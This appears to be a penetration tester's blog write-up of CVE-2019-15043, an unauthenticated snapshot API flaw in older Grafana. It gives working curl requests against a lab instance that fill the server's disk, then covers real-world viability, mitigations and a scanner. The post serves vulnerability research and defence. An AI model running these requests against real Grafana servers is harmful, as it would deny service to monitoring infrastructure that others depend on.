Background Link to heading

During a penetration test I came across a Grafana instance that was a few versions out of date. Grafana is an open-source analytics platform that allows users to create dashboards for various data sources. Grafana has seen relatively few CVE’s over the years, with most registered vulnerabilities being medium to low risk for most organizations. The instance I was reviewing happened to fall below the patched version identified for CVE-2019-15043, so I was interested to see the technical details of this vulnerability.

Vulnerability Details Link to heading

Immediate details on CVE-2019-15043 are somewhat lacking. The description for the vulnerability is:

“In Grafana 2.x through 6.x before 6.3.4, parts of the HTTP API allow unauthenticated use. This makes it possible to run a denial of service attack against the server running Grafana.”

There isn’t a whole lot to go off of from here, but there are a few references we can look at to see which API endpoint is vulnerable. Linked in the NVD page is a message sent to the Fedora Updates mailing list, which references the Red Hat Bugzilla tracker for this CVE. Here we find the endpoint in question:

bugtraq details

So now we know that the vulnerable endpoint is /api/snapshots. What exactly does this endpoint do?

Snapshot API Link to heading

Grafana provides users a way to share the dashboards they’ve created through the Snapshot feature. From the docs, there’s also an API endpoint that allows you to create snapshots via an HTTP POST request. From here it seems pretty straightforward how this vulnerability works; the attacker overwhelms the Grafana instance with a large number of new snapshot requests. Let’s see what actually happens in action.

Exploitation Link to heading

To test exploitation, I built a virtual machine and installed Grafana v6.3.3. If you want to test this yourself, I recommend installing Grafana on a small partition (at most 1GB, unless you feel like waiting a while; you’ll see why later).

Verifying Vulnerability Link to heading

Next, I tested to see if I could interact with the snapshot endpoint without authentication:

curl -s -XPOST http://192.168.3.38:3000/api/snapshots -H "Accept: application/json" -H "Content-Type: application/json" | json_pp
[
   {
      "fieldNames" : [
         "Dashboard"
      ],
      "classification" : "RequiredError",
      "message" : "Required"
   }
]

So far so good. More information is needed to actually create a snapshot, however. The documentation states that the only required piece of information in the POST body is a dashboard object:

I updated the request with an empty dashboard object:

$ curl -s -XPOST http://192.168.3.38:3000/api/snapshots -H "Accept: application/json" -H "Content-Type: application/json" -d '{"dashboard": {}}' | json_pp
{
   "url" : "http://localhost:3000/dashboard/snapshot/6vGeyr0JAg540okc9Opvd5HiJXStR5LA",
   "deleteKey" : "FrB3ZgZy9gp4J338sPhaTl74D8lor4e6",
   "deleteUrl" : "http://localhost:3000/api/snapshots-delete/FrB3ZgZy9gp4J338sPhaTl74D8lor4e6",
   "key" : "6vGeyr0JAg540okc9Opvd5HiJXStR5LA"
}

Success! The documentation also confirms that the above response indicates a dashboard snapshot was successfully created. How do we turn this into a denial-of-service?

Denial-of-Service Link to heading

After sending about 30 or so new snapshot requests, I noticed the Grafana database grew slightly bigger. Let’s see what happens when we send a request approximately 4KB in size by creating a snapshot for the (non-existent) dashboard with a name value of four thousand ‘A’ characters:

$ chars=$(printf "%0.sA" {1..4000})
$ curl -s -XPOST http://192.168.3.38:3000/api/snapshots -H "Accept: application/json" -H "Content-Type: application/json" -d '{"dashboard": {"name":"'"$chars"'"}}' -v| json_pp
*   Trying 192.168.3.38...
* TCP_NODELAY set
* Connected to 192.168.3.38 (192.168.3.38) port 3000 (#0)
> POST /api/snapshots HTTP/1.1
> Host: 192.168.3.38:3000
> User-Agent: curl/7.58.0
> Accept: application/json
> Content-Type: application/json
> Content-Length: 4026
> Expect: 100-continue
>
< HTTP/1.1 100 Continue
} [4026 bytes data]
* We are completely uploaded and fine
< HTTP/1.1 200 OK
...

{
   "deleteUrl" : "http://localhost:3000/api/snapshots-delete/dj6L7UEgpuPdoAnCZIBNzZtf3a2iqJVA",
   "url" : "http://localhost:3000/dashboard/snapshot/6q1wnF3KP6a7dkqKS2LlkkbYT04N6o55",
   "key" : "6q1wnF3KP6a7dkqKS2LlkkbYT04N6o55",
   "deleteKey" : "dj6L7UEgpuPdoAnCZIBNzZtf3a2iqJVA"
}

Since POST request sizes can be pretty large, it’s pretty clear that sending large enough requests could eventually fill the disk space of the Grafana server causing the denial-of-service. For testing I installed Grafana on a 1GB disk. From there it was just a matter of sending an endless loop of snapshot requests:

asciicast

Eventually, once the disk was completely full, I started receiving the following error response:

$ curl -s -XPOST http://192.168.3.38:3000/api/snapshots -H "Accept: application/json" -H "Content-Type: application/json" -d '{"dashboard": {"name":"'"$chars"'"}}' | json_pp
{
   "message" : "Failed to create snaphost"
}

In the UI, this resulted in errors when performing any action that modified the database, such as creating new dashboards or new user accounts:

And there you have it! Ability to make new fancy dashboards denied 😢

Viability Link to heading

As of 7/27/2020, the latest version of Grafana is 7.1.1. While there have been several updates since this vulnerability was disclosed, there’s still a handful of potentially vulnerable instances on the web. A Google search shows there were 31 results for Grafana instances on v5:

However, you’re more likely to come across Grafana as an internal-only service, which means that an attacker would already need to be inside the network. DoS’ing a dashboarding service like Grafana is probably low on an attacker’s to-do list if they’re that far in. Additionally, this type of attack would be pretty noisy and potentially time consuming, since most people aren’t installing Grafana on a 1GB disk. That being said, Grafana can be a vital infrastructure monitoring tool that, if taken offline, might serve as a good distraction for other nefarious activities.

Mitigation Link to heading

If you happen to still be running a version of Grafana that’s not patched, and cannot patch for whatever reason, it may be possible to mitigate the threat of this vulnerability by blocking access to the snapshot API via other security devices. From the Bugzilla tracker, posted by Hardik Vyas:

Block access to the snapshot feature by blocking the /api/snapshots URL via a web application firewall, load balancer, reverse proxy etc. You can also set ’external_enabled’ to false to disable external snapshot publish endpoint (default true). Note, it will completely disable this feature.

It was pointed out later that the configuration change mentioned in Hardik’s comment doesn’t disable ‘/api/snapshots’, but rather ‘/api/snapshots/shared-options’, which would still leave the server vulnerable.

Scanner Link to heading

I created a simple python script that will check the Grafana version and if the snapshot API allows unauthenticated requests: https://github.com/h0ffayyy/CVE-2019-15043

References Link to heading